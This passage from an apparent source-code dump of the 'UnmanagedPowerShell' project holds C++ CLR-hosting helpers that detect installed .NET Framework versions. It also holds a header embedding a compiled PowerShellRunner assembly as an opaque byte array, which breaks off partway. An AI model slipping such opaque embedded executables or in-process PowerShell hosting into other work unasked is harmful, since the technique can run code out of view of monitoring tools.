pfnGETREQUESTEDRUNTIMEINFO) 113 | { 114 | // Having CorBindToRuntimeHost but not having GetRequestedRuntimeInfo means that 115 | // this machine contains no higher than .NET Framework 1.0, but the only way to 116 | // 100% guarantee that the .NET Framework 1.0 is installed is to call a function 117 | // to exercise its functionality 118 | if (0 == _tcscmp(pszNetfxVersionToCheck, _T(NETFX_10_VERSION_STRING))) 119 | { 120 | hr = pfnGETCORVERSION(szRetrievedVersion, dwLength, &dwLength); 121 | 122 | if (SUCCEEDED(hr)) 123 | { 124 | if (0 == _tcscmp(szRetrievedVersion, _T(NETFX_10_VERSION_STRING))) 125 | bFoundRequestedNetfxVersion = true; 126 | } 127 | 128 | goto Finish; 129 | } 130 | } 131 | 132 | // Set error mode to prevent the .NET Framework from displaying 133 | // unfriendly error dialogs 134 | UINT uOldErrorMode = SetErrorMode(SEM_FAILCRITICALERRORS); 135 | 136 | TCHAR szDirectory[MAX_PATH]; 137 | DWORD dwDirectoryLength = 0; 138 | DWORD dwRuntimeInfoFlags = RUNTIME_INFO_DONT_RETURN_DIRECTORY | GetProcessorArchitectureFlag(); 139 | 140 | // Check for the requested .NET Framework version 141 | hr = pfnGETREQUESTEDRUNTIMEINFO(NULL, pszNetfxVersionToCheck, NULL, STARTUP_LOADER_OPTIMIZATION_MULTI_DOMAIN_HOST, NULL, szDirectory, CountOf(szDirectory), &dwDirectoryLength, szRetrievedVersion, CountOf(szRetrievedVersion), &dwLength); 142 | 143 | if (SUCCEEDED(hr)) 144 | bFoundRequestedNetfxVersion = true; 145 | 146 | // Restore the previous error mode 147 | SetErrorMode(uOldErrorMode); 148 | } 149 | } 150 | 151 | Finish: 152 | 153 | return bFoundRequestedNetfxVersion; 154 | } -------------------------------------------------------------------------------- /UnmanagedPowerShell/ClrHostingHelpers.h: -------------------------------------------------------------------------------- 1 | #ifndef CLRHOSTINGHELPERS_H_ 2 | #define CLRHOSTINGHELPERS_H_ 3 | 4 | #include 5 | #include 6 | 7 | #define CountOf(x) sizeof(x)/sizeof(*x) 8 | 9 | // Constants for known .NET Framework versions used with the GetRequestedRuntimeInfo API 10 | #define NETFX_10_VERSION_STRING "v1.0.3705" 11 | #define NETFX_11_VERSION_STRING "v1.1.4322" 12 | #define NETFX_20_VERSION_STRING "v2.0.50727" 13 | #define NETFX_40_VERSION_STRING "v4.0.30319" 14 | 15 | DWORD GetProcessorArchitectureFlag(); 16 | bool CheckNetfxVersionUsingMscoree(const TCHAR *pszNetfxVersionToCheck, HMODULE& hMscoree); 17 | 18 | #endif // CLRHOSTINGHELPERS_H_ -------------------------------------------------------------------------------- /UnmanagedPowerShell/PowerShellRunnerDll.h: -------------------------------------------------------------------------------- 1 | #ifndef POWERSHELLRUNNERDLL_H_ 2 | #define POWERSHELLRUNNERDLL_H_ 3 | 4 | // This is just PowerShellRunner assumbly DLL 5 | // ConvertTo-ByteArrayCode -Path .\PowerShellRunner.dll -VariableName PowerShellRunner_dll | clip 6 | static const unsigned char PowerShellRunner_dll[] = { 7 | 0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00, 8 | 0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 9 | 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 10 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 11 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 12 | 0x80,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD, 13 | 0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,0x69,0x73,0x20,0x70, 14 | 0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F, 15 | 0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20, 16 | 0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A, 17 | 0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00, 18 | 0x4C,0x01,0x03,0x00,0x59,0xB1,0xE1,0x57,0x00,0x00,0x00,0x00, 19 | 0x00,0x00,0x00,0x00,0xE0,0x00,0x02,0x21,0x0B,0x01,0x30,0x00, 20 | 0x00,0x2C,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00, 21 | 0xD6,0x4A,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x60,0x00,0x00, 22 | 0x00,0x00,0x00,0x10,0x00,0x20,0x00,0x00,0x00,0x02,0x00,0x00, 23 | 0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00, 24 | 0x00,0x00,0x00,0x00,0x00,0xA0,0x00,0x00,0x00,0x02,0x00,0x00, 25 | 0x00,0x00,0x00,0x00,0x03,0x00,0x40,0x85,0x00,0x00,0x10,0x00, 26 | 0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00, 27 | 0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 28 | 0x00,0x00,0x00,0x00,0x84,0x4A,0x00,0x00,0x4F,0x00,0x00,0x00, 29 | 0x00,0x60,0x00,0x00,0xB8,0x03,0x00,0x00,0x00,0x00,0x00,0x00, 30 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 31 | 0x00,0x80,0x00,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 32 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 33 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 34 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 35 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00, 36 | 0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 37 | 0x08,0x20,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 38 | 0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00, 39 | 0xDC,0x2A,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x2C,0x00,0x00, 40 | 0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 41 | 0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,0x2E,0x72,0x73,0x72, 42 | 0x63,0x00,0x00,0x00,0xB8,0x03,0x00,0x00,0x00,0x60,0x00,0x00, 43 | 0x00,0x04,0x00,0x00,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00, 44 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40, 45 | 0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0x0C,0x00,0x00,0x00, 46 | 0x00,0x80,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x32,0x00,0x00, 47 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 48 | 0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 49 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x4A,0x00,0x00, 50 | 0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x02,0x00,0x05,0x00, 51 | 0x98,0x24,0x00,0x00,0xEC,0x25,0x00,0x00,0x03,0x00,0x00,0x00, 52 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 53 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 54 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 55 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 56 | 0x00,0x00,0x00,0x00,0x1B,0x30,0x03,0x00,0x8C,0x00,0x00,0x00, 57 | 0x01,0x00,0x00,0x11,0x73,0x0E,0x00,0x00,0x06,0x0A,0x28,0x0E, 58 | 0x00,0x00,0x0A,0x0B,0x07,0x16,0x6F,0x0F,0x00,0x00,0x0A,0x07, 59 | 0x14,0x6F,0x10,0x00,0x00,0x0A,0x06,0x07,0x28,0x11,0x00,0x00, 60 | 0x0A,0x0C,0x08,0x6F,0x12,0x00,0x00,0x0A,0x08,0x6F,0x13,0x00, 61 | 0x00,0x0A,0x0D,0x09,0x6F,0x14,0x00,0x00,0x0A,0x02,0x6F,0x15, 62 | 0x00,0x00,0x0A,0x09,0x6F,0x14,0x00,0x00,0x0A,0x16,0x6F,0x16, 63 | 0x00,0x00,0x0A,0x18,0x17,0x6F,0x17,0x00,0x00,0x0A,0x09,0x6F, 64 | 0x14,0x00,0x00,0x0A,0x72,0x01,0x00,0x00,0x70,0x6F,0x18,0x00, 65 | 0x00,0x0A,0x09,0x6F,0x19,0x00,0x00,0x0A,0x26,0xDE,0x14,0x09, 66 | 0x2C,0x06,0x09,0x6F,0x1A,0x00,0x00,0x0A,0xDC,0x08,0x2C,0x06, 67 | 0x08,0x6F,0x1A,0x00,0x00,0x0A,0xDC,0x06,0x6F,0x1B,0x00,0x00, 68 | 0x0A,0x74,0x04,0x00,0x00,0x02,0x6F,0x1A,0x00,0x00,0x06,0x2A, 69 | 0x01,0x1C,0x00,0x00,0x02,0x00,0x2F,0x00,0x38,0x67,0x00,0x0A, 70 | 0x00,0x00,0x00,0x00,0x02,0x00,0x22,0x00,0x4F,0x71,0x00,0x0A, 71 | 0x00,0x00,0x00,0x00,0x1E,0x02,0x28,0x1C,0x00,0x00,0x0A,0x2A, 72 | 0x1E,0x02,0x7B,0x01,0x00,0x00,0x04,0x2A,0x1A,0x72,0x19,0x00, 73 | 0x00,0x70,0x2A,0x22,0x17,0x16,0x73,0x1D,0x00,0x00,0x0A,0x2A, 74 | 0x1E,0x02,0x7B,0x02,0x00,0x00,0x04,0x2A,0x2E,0x28,0x1E,0x00, 75 | 0x00,0x0A,0x6F,0x1F,0x00,0x00,0x0A,0x2A,0x2E,0x28,0x1E,0x00, 76 | 0x00,0x0A,0x6F,0x20,0x00,0x00,0x0A,0x2A,0x2E,0x72,0x31,0x00, 77 | 0x00,0x70,0x73,0x21,0x00,0x00,0x0A,0x7A,0x2E,0x72,0xAA,0x01, 78 | 0x00,0x70,0x73,0x21,0x00,0x00,0x0A,0x7A,0x06,0x2A,0x76,0x02, 79 | 0x28,0x22,0x00,0x00,0x0A,0x7D,0x01,0x00,0x00,0x04,0x02,0x73, 80 | 0x0F,0x00,0x00,0x06,0x7D,0x02,0x00,0x00,0x04,0x02,0x28,0x23, 81 | 0x00,0x00,0x0A,0x2A,0x76,0x02,0x73,0x3B,0x00,0x00,0x06,0x7D, 82 | 0x04,0x00,0x00,0x04,0x02,0x28,0x24,0x00,0x00,0x0A,0x02,0x73, 83 | 0x25,0x00,0x00,0x0A,0x7D,0x03,0x00,0x00,0x04,0x2A,0x3A,0x02, 84 | 0x7B,0x03,0x00,0x00,0x04,0x05,0x6F,0x26,0x00,0x00,0x0A,0x26, 85 | 0x2A,0x4A,0x02,0x7B,0x03,0x00,0x00,0x04,0x72,0x21,0x03,0x00, 86 | 0x70,0x6F,0x26,0x00,0x00,0x0A,0x26,0x2A,0x62,0x02,0x7B,0x03, 87 | 0x00,0x00,0x04,0x05,0x72,0x21,0x03,0x00,0x70,0x28,0x27,0x00, 88 | 0x00,0x0A,0x6F,0x26,0x00,0x00,0x0A,0x26,0x2A,0x3A,0x02,0x7B, 89 | 0x03,0x00,0x00,0x04,0x03,0x6F,0x26,0x00,0x00,0x0A,0x26,0x2A, 90 | 0x62,0x02,0x7B,0x03,0x00,0x00,0x04,0x72,0x25,0x03,0x00,0x70, 91 | 0x03,0x28,0x27,0x00,0x00,0x0A,0x6F,0x28,0x00,0x00,0x0A,0x26, 92 | 0x2A,0x62,0x02,0x7B,0x03,0x00,0x00,0x04,0x72,0x35,0x03,0x00, 93 | 0x70,0x03,0x28,0x27,0x00,0x00,0x0A,0x6F,0x28,0x00,0x00,0x0A, 94 | 0x26,0x2A,0x3A,0x02,0x7B,0x03,0x00,0x00,0x04,0x03,0x6F,0x28, 95 | 0x00,0x00,0x0A,0x26,0x2A,0x62,0x02,0x7B,0x03,0x00,0x00,0x04, 96 | 0x72,0x45,0x03,0x00,0x70,0x03,0x28,0x27,0x00,0x00,0x0A,0x6F, 97 | 0x28,0x00,0x00,0x0A,0x26,0x2A,0x62,0x02,0x7B,0x03,0x00,0x00, 98 | 0x04,0x72,0x59,0x03,0x00,0x70,0x03,0x28,0x27,0x00,0x00,0x0A, 99 | 0x6F,0x28,0x00,0x00,0x0A,0x26,0x2A,0x32,0x02,0x7B,0x03,0x00, 100 | 0x00,0x04,0x6F,0x29,0x00,0x00,0x0A,0x2A,0x2E,0x72,0x6D,0x03, 101 | 0x00,0x70,0x73,0x21,0x00,0x00,0x0A,0x7A,0x2E,0x72,0xD0,0x04, 102 | 0x00,0x70,0x73,0x21,0x00,0x00,0x0A,0x7A,0x2E,0x72,0x45,0x06, 103 | 0x00,0x70,0x73,0x21,0x00,0x00,0x0A,0x7A,0x2E,0x72,0xC4,0x07, 104 | 0x00,0x70,0x73,0x21,0x00,0x00,0x0A,0x7A,0x1E,0x02,0x7B,0x04, 105 | 0x00,0x00,0x04,0x2A,0x2E,0x72,0x43,0x09,0x00,0x70,0x73,0x21, 106 | 0x00,0x00,0x0A,0x7A,0x2E,0x72,0xAA,0x0A,0x00,0x70,0x73,0x21, 107 | 0x00,0x00,0x0A,0x7A,0x1E,0x02,0x7B,0x09,0x00,0x00,0x04,0x2A, 108 | 0x22,0x02,0x03,0x7D,0x09,0x00,0x00,0x04,0x2A,0x1E,0x02,0x7B, 109 | 0x0C,0x00,0x00,0x04,0x2A,0x22,0x02,0x03,0x7D,0x0C,0x00,0x00, 110 | 0x04,0x2A,0x1E,0x02,0x7B,0x06,0x00,0x00,0x04,0x2A,0x22,0x02, 111 | 0x03,0x7D,0x06,0x00,0x00,0x04,0x2A,0x1E,0x02,0x7B,0x07,0x00, 112 | 0x00,0x04,0x2A,0x22,0x02,0x03,0x7D,0x07,0x00,0x00,0x04,0x2A, 113 | 0x2E,0x72,0x2D,0x0C,0x00,0x70,0x73,0x21,0x00,0x00,0x0A,0x7A, 114 | 0x1E,0x02,0x7B,0x08,0x00,0x00,0x04,0x2A,0x22,0x02,0x03,0x7D, 115 | 0x08,0x00,0x00,0x04,0x2A,0x2E,0x72,0x77,0x0C,0x00,0x70,0x73, 116 | 0x21,0x00,0x00,0x0A,0x7A,0x2E,0x72,0xC3,0x0C,0x00,0x70,0x73, 117 | 0x21,0x00,0x00,0x0A,0x7A,0x1E,0x02,0x7B,0x0A,0x00,0x00,0x04, 118 | 0x2A,0x1E,0x02,0x7B,0x0B,0x00,0x00,0x04,0x2A,0x2E,0x72,0x05, 119 | 0x0D,0x00,0x70,0x73,0x21,0x00,0x00,0x0A,0x7A,0x2E,0x72,0x6A, 120 | 0x0E,0x00,0x70,0x73,0x21,0x00,0x00,0x0A,0x7A,0x2E,0x72,0xBA, 121 | 0x0E,0x00,0x70,0x73,0x21,0x00,0x00,0x0A,0x7A,0x2E,0x72,0x06, 122 | 0x0F,0x00,0x70,0x73,0x21,0x00,0x00,0x0A,0x7A,0x1E,0x02,0x7B, 123 | 0x0D,0x00,0x00,0x04,0x2A,0x22,0x02,0x03,0x7D,0x0D,0x00,0x00, 124 | 0x04,0x2A,0x1E,0x02,0x7B,0x05,0x00,0x00,0x04,0x2A,0x22,0x02, 125 | 0x03,0x7D,0x05,0x00,0x00,0x04,0x2A,0x1E,0x02,0x7B,0x0E,0x00, 126 | 0x00,0x04,0x2A,0x22,0x02,0x03,0x7D,0x0E,0x00,0x00,0x04,0x2A, 127 | 0x13,0x30,0x03,0x00,0xEC,0x00,0x00,0x00,0x02,0x00,0x00,0x11, 128 | 0x02,0x12,0x00,0xFE,0x15,0x25,0x00,0x00,0x01,0x12,0x00,0x1F, 129 | 0x78,0x28,0x2A,0x00,0x00,0x0A,0x12,0x00,0x1F,0x64,0x28,0x2B, 130 | 0x00,0x00,0x0A,0x06,0x7D,0x05,0x00,0x00,0x04,0x02,0x12,0x01, 131 | 0xFE,0x15,0x26,0x00,0x00,0x01,0x12,0x01,0x16,0x28,0x2C,0x00, 132 | 0x00,0x0A,0x12,0x01,0x16,0x28,0x2D,0x00,0x00,0x0A,0x07,0x7D, 133 | 0x06,0x00,0x00,0x04,0x02,0x17,0x7D,0x07,0x00,0x00,0x04,0x02, 134 | 0x1F,0x0F,0x7D,0x08,0x00,0x00,0x04,0x02,0x12,0x00,0xFE,0x15, 135 | 0x25,0x00,0x00,0x01,0x12,0x00,0x20,0xFF,0xFF,0xFF,0x7F,0x28, 136 | 0x2A,0x00,0x00,0x0A,0x12,0x00,0x20,0xFF,0xFF,0xFF,0x7F,0x28, 137 | 0x2B,0x00,0x00,0x0A,0x06,0x7D,0x0A,0x00,0x00,0x04,0x02,0x12, 138 | 0x00,0xFE,0x15,0x25,0x00,0x00,0x01,0x12,0x00,0x1F,0x64,0x28, 139 | 0x2A,0x00,0x00,0x0A,0x12,0x00,0x1F,0x64,0x28,0x2B,0x00,0x00, 140 | 0x0A,0x06,0x7D,0x0B,0x00,0x00,0x04,0x02,0x12,0x00,0xFE,0x15, 141 | 0x25,0x00,0x00,0x01,0x12,0x00,0x1F,0x64,0x28,0x2A,0x00,0x00, 142 | 0x0A,0x12,0x00,0x20,0xE8,0x03,0x00,0x00,0x28,0x2B,0x00,0x00, 143 | 0x0A,0x06,0x7D,0x0C,0x00,0x00,0x04,0x02,0x12,0x01,0xFE,0x15, 144 | 0x26,0x00,0x00,0x01,0x12,0x01,0x16,0x28,0x2C,0x00,0x00,0x0A, 145 | 0x12,0x01,0x16,0x28,0x2D,0x00,0x00,0x0A,0x07,0x7D,0x0D,0x00, 146 | 0x00,0x04,0x02,0x72,0x50,0x0F,0x00,0x70,0x7D,0x0E,0x00,0x00, 147 | 0x04,0x02,0x28,0x2E,0x00,0x00,0x0A,0x2A,0x42,0x53,0x4A,0x42, 148 | 0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x0C,0x00,0x00,0x00, 149 | 0x76,0x32,0x2E,0x30,0x2E,0x35,0x30,0x37,0x32,0x37,0x00,0x00, 150 | 0x00,0x00,0x05,0x00,0x6C,0x00,0x00,0x00,0x74,0x09,0x00,0x00, 151 | 0x23,0x7E,0x00,0x00,0xE0,0x09,0x00,0x00,0x28,0x0A,0x00,0x00, 152 | 0x23,0x53,0x74,0x72,0x69,0x6E,0x67,0x73,0x00,0x00,0x00,0x00, 153 | 0x08,0x14,0x00,0x00,0x54,0x0F,0x00,0x00,0x23,0x55,0x53,0x00, 154 | 0x5C,0x23,0x00,0x00,0x10,0x00,0x00,0x00,0x23,0x47,0x55,0x49, 155 | 0x44,0x00,0x00,0x00,0x6C,0x23,0x00,0x00,0x80,0x02,0x00,0x00, 156 | 0x23,0x42,0x6C,0x6F,0x62,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 157 | 0x02,0x00,0x00,0x01,0x57,0x15,0xA2,0x09,0x09,0x02,0x00,0x00, 158 | 0x00,0xFA,0x01,0x33,0x00,0x16,0x00,0x00,0x01,0x00,0x00,0x00, 159 | 0x34,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x0E,0x00,0x00,0x00, 160 | 0x3B,0x00,0x00,0x00,0x33,0x00,0x00,0x00,0x2E,0x00,0x00,0x00, 161 | 0x0D,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x03,0x00,0x00,0x00, 162 | 0x13,0x00,0x00,0x00,0x1B,0x00,0x00,0x00,0x01,0x00,0x00,0x00, 163 | 0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x03,0x00,0x00,0x00, 164 | 0x00,0x00,0x65,0x05,0x01,0x00,0x00,0x00,0x00,0x00,0x06,0x00, 165 | 0x7E,0x03,0x44,0x08,0x06,0x00,0xEB,0x03,0x44,0x08,0x06,0x00, 166 | 0xCB,0x02,0xD6,0x07,0x0F,0x00,0x64,0x08,0x00,0x00,0x06,0x00, 167 | 0xF3,0x02,0x1C,0x06,0x06,0x00,0x61,0x03,0x1C,0x06,0x06,0x00, 168 | 0x42,0x03,0x1C,0x06,0x06,0x00,0xD2,0x03,0x1C,0x06,0x06,0x00, 169 | 0x9E,0x03,0x1C,0x06,0x06,0x00,0xB7,0x03,0x1C,0x06,0x06,0x00, 170 | 0x0A,0x03,0x1C,0x06,0x06,0x00,0xDF,0x02,0x25,0x08,0x06,0x00, 171 | 0xBD,0x02,0x25,0x08,0x06,0x00,0x25,0x03,0x1C,0x06,0x06,0x00, 172 | 0x5E,0x09,0x93,0x05,0x0A,0x00,0x90,0x02,0xF6,0x07,0x0A,0x00, 173 | 0x32,0x01,0xF6,0x07,0x0A,0x00,0x57,0x02,0xF6,0x07,0x0A,0x00, 174 | 0xE1,0x09,0xB9,0x09,0x06,0x00,0xAB,0x00,0x93,0x05,0x06,0x00, 175 | 0xAA,0x05,0x93,0x05,0x0A,0x00,0xE3,0x00,0xB9,0x09,0x06,0x00, 176 | 0xEF,0x06,0x07,0x06,0x06,0x00,0x08,0x07,0xF3,0x09,0x06,0x00, 177 | 0xC3,0x07,0x93,0x05,0x0A,0x00,0xC7,0x00,0xDE,0x05,0x06,0x00, 178 | 0x0E,0x00,0x57,0x00,0x0A,0x00,0x5C,0x09,0xDE,0x05,0x06,0x00, 179 | 0x01,0x00,0x46,0x05,0x0A,0x00,0xCC,0x06,0xB9,0x09,0x0A,0x00, 180 | 0xDD,0x06,0xB9,0x09,0x0A,0x00,0x25,0x05,0xDE,0x05,0x0A,0x00, 181 | 0x73,0x08,0xDE,0x05,0x0A,0x00,0xBC,0x08,0xDE,0x05,0x0A,0x00, 182 | 0x15,0x01,0xB9,0x09,0x06,0x00,0xFA,0x04,0x17,0x0A,0x0A,0x00, 183 | 0xDA,0x04,0xB9,0x09,0x0A,0x00,0xB0,0x08,0xB9,0x09,0x0A,0x00, 184 | 0x7A,0x05,0xB9,0x09,0x0A,0x00,0x95,0x01,0xB9,0x09,0x0A,0x00, 185 | 0xFB,0x06,0xB9,0x09,0x0A,0x00,0xD2,0x08,0xB9,0x09,0x06,0x00, 186 | 0xA8,0x02,0xDF,0x04,0x0A,0x00,0x2B,0x07,0xDE,0x05,0x0A,0x00, 187 | 0x07,0x0A,0xF6,0x07,0x0A,0x00,0x2E,0x06,0xF6,0x07,0x0A,0x00, 188 | 0xB0,0x00,0xF6,0x07,0x0A,0x00,0x9C,0x08,0xF6,0x07,0x06,0x00, 189 | 0x89,0x01,0x93,0x05,0x06,0x00,0x9D,0x00,0xDF,0x04,0x06,0x00, 190 | 0xB4,0x06,0x93,0x05,0x06,0x00,0x09,0x05,0x93,0x05,0x00,0x00, 191 | 0x00,0x00,0x1B,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 192 | 0x01,0x00,0x10,0x00,0x40,0x07,0x40,0x07,0x3D,0x00,0x01,0x00, 193 | 0x01,0x00,0x03,0x00,0x10,0x00,0xDB,0x09,0x00,0x00,0x4D,0x00, 194 | 0x01,0x00,0x03,0x00,0x03,0x00,0x10,0x00,0xDD,0x00,0x00,0x00, 195 | 0x59,0x00,0x03,0x00,0x0F,0x00,0x03,0x00,0x10,0x00,0xF7,0x00, 196 | 0x00,0x00,0x8D,0x00,0x05,0x00,0x22,0x00,0x01,0x00,0x8A,0x00, 197 | 0xB3,0x00,0x01,0x00,0x21,0x05,0xB7,0x00,0x01,0x00,0x53,0x00, 198 | 0xBB,0x00,0x01,0x00,0x1A,0x05,0xBF,0x00,0x01,0x00,0xD3,0x04, 199 | 0xC3,0x00,0x01,0x00,0x66,0x06,0xC8,0x00,0x01,0x00,0x57,0x04, 200 | 0xCD,0x00,0x01,0x00,0x79,0x07,0xD0,0x00,0x01,0x00,0xB2,0x07, 201 | 0xD0,0x00,0x01,0x00,0x9B,0x04,0xC3,0x00,0x01,0x00,0xC4,0x04, 202 | 0xC3,0x00,0x01,0x00,0x2D,0x04,0xC3,0x00,0x01,0x00,0x9C,0x06, 203 | 0xC8,0x00,0x01,0x00,0xC9,0x01,0xD4,0x00,0x50,0x20,0x00,0x00, 204 | 0x00,0x00,0x96,0x00,0x35,0x00,0xD7,0x00,0x01,0x00,0x04,0x21, 205 | 0x00,0x00,0x00,0x00,0x86,0x18,0xD0,0x07,0x06,0x00,0x02,0x00, 206 | 0x0C,0x21,0x00,0x00,0x00,0x00,0xC6,0x08,0x72,0x00,0xDC,0x00, 207 | 0x02,0x00,0x14,0x21,0x00,0x00,0x00,0x00,0xC6,0x08,0xD6,0x01, 208 | 0x94,0x00,0x02,0x00,0x1B,0x21,0x00,0x00,0x00,0x00,0xC6,0x08, 209 | 0xA6,0x05,0xE1,0x00,0x02,0x00,0x24,0x21,0x00,0x00,0x00,0x00, 210 | 0xC6,0x08,0x24,0x00,0x6D,0x00,0x02,0x00,0x2C,0x21,0x00,0x00, 211 | 0x00,0x00,0xC6,0x08,0x75,0x02,0x7E,0x00,0x02,0x00,0x38,0x21, 212 | 0x00,0x00,0x00,0x00,0xC6,0x08,0x60,0x02,0x7E,0x00,0x02,0x00, 213 | 0x44,0x21,0x00,0x00,0x00,0x00,0xC6,0x00,0x96,0x09,0x06,0x00, 214 | 0x02,0x00,0x50,0x21,0x00,0x00,0x00,0x00,0xC6,0x00,0xA8,0x09, 215 | 0x06,0x00,0x02,0x00,0x5C,0x21,0x00,0x00,0x00,0x00,0xC6,0x00, 216 | 0xC7,0x05,0x06,0x00,0x02,0x00,0x5C,0x21,0x00,0x00,0x00,0x00, 217 | 0xC6,0x00,0xB2,0x05,0x06,0x00,0x02,0x00,0x5C,0x21,0x00,0x00, 218 | 0x00,0x00,0xC6,0x00,0x70,0x09,0x01,0x00,0x02,0x00,0x5E,0x21, 219 | 0x00,0x00,0x00,0x00,0x86,0x18,0xD0,0x07,0x06,0x00,0x03,0x00, 220 | 0x7C,0x21,0x00,0x00,0x00,0x00,0x86,0x18,0xD0,0x07,0x06,0x00, 221 | 0x03,0x00,0x9A,0x21,0x00,0x00,0x00,0x00,0xC6,0x00,0xB7,0x02, 222 | 0xE6,0x00,0x03,0x00,0xA9,0x21,0x00,0x00,0x00,0x00,0xC6,0x00, 223 | 0x18,0x02,0x06,0x00,0x06,0x00,0xBC,0x21,0x00,0x00,0x00,0x00, 224 | 0xC6,0x00,0x18,0x02,0xE6,0x00,0x06,0x00,0xD5,0x21,0x00,0x00, 225 | 0x00,0x00,0xC6,0x00,0xB7,0x02,0x10,0x00,0x09,0x00,0xE4,0x21, 226 | 0x00,0x00,0x00,0x00,0xC6,0x00,0x33,0x02,0x10,0x00,0x0A,0x00, 227 | 0xFD,0x21,0x00,0x00,0x00,0x00,0xC6,0x00,0x42,0x02,0x10,0x00, 228 | 0x0B,0x00,0x16,0x22,0x00,0x00,0x00,0x00,0xC6,0x00,0x18,0x02, 229 | 0x10,0x00,0x0C,0x00,0x25,0x22,0x00,0x00,0x00,0x00,0xC6,0x00, 230 | 0x07,0x02,0x10,0x00,0x0D,0x00,0x3E,0x22,0x00,0x00,0x00,0x00, 231 | 0xC6,0x00,0x22,0x02,0x10,0x00,0x0E,0x00,0x5C,0x21,0x00,0x00, 232 | 0x00,0x00,0xC6,0x00,0xF6,0x08,0xEF,0x00,0x0F,0x00,0x57,0x22, 233 | 0x00,0x00,0x00,0x00,0x86,0x08,0xE8,0x09,0x94,0x00,0x11,0x00, 234 | 0x64,0x22,0x00,0x00,0x00,0x00,0xC6,0x00,0xB2,0x09,0xF6,0x00, 235 | 0x11,0x00,0x70,0x22,0x00,0x00,0x00,0x00,0xC6,0x00,0x3B,0x01, 236 | 0x08,0x01,0x14,0x00,0x7C,0x22,0x00,0x00,0x00,0x00,0xC6,0x00, 237 | 0x32,0x05,0x15,0x01,0x18,0x00,0x88,0x22,0x00,0x00,0x00,0x00, 238 | 0xC6,0x00,0x32,0x05,0x25,0x01,0x1E,0x00,0x94,0x22,0x00,0x00, 239 | 0x00,0x00,0xC6,0x08,0x2B,0x00,0x2F,0x01,0x22,0x00,0x9C,0x22, 240 | 0x00,0x00,0x00,0x00,0xC6,0x00,0xF3,0x01,0x94,0x00,0x22,0x00, 241 | 0xA8,0x22,0x00,0x00,0x00,0x00,0xC6,0x00,0xF0,0x04,0x35,0x01, 242 | 0x22,0x00,0xB4,0x22,0x00,0x00,0x00,0x00,0xC6,0x08,0x8A,0x07, 243 | 0x3B,0x01,0x22,0x00,0xBC,0x22,0x00,0x00,0x00,0x00,0xC6,0x08, 244 | 0x9E,0x07,0x40,0x01,0x22,0x00,0xC5,0x22,0x00,0x00,0x00,0x00, 245 | 0xC6,0x08,0x0F,0x04,0x46,0x01,0x23,0x00,0xCD,0x22,0x00,0x00, 246 | 0x00,0x00,0xC6,0x08,0x1E,0x04,0x4C,0x01,0x23,0x00,0xD6,0x22, 247 | 0x00,0x00,0x00,0x00,0xC6,0x08,0x40,0x06,0x53,0x01,0x24,0x00, 248 | 0xDE,0x22,0x00,0x00,0x00,0x00,0xC6,0x08,0x53,0x06,0x59,0x01, 249 | 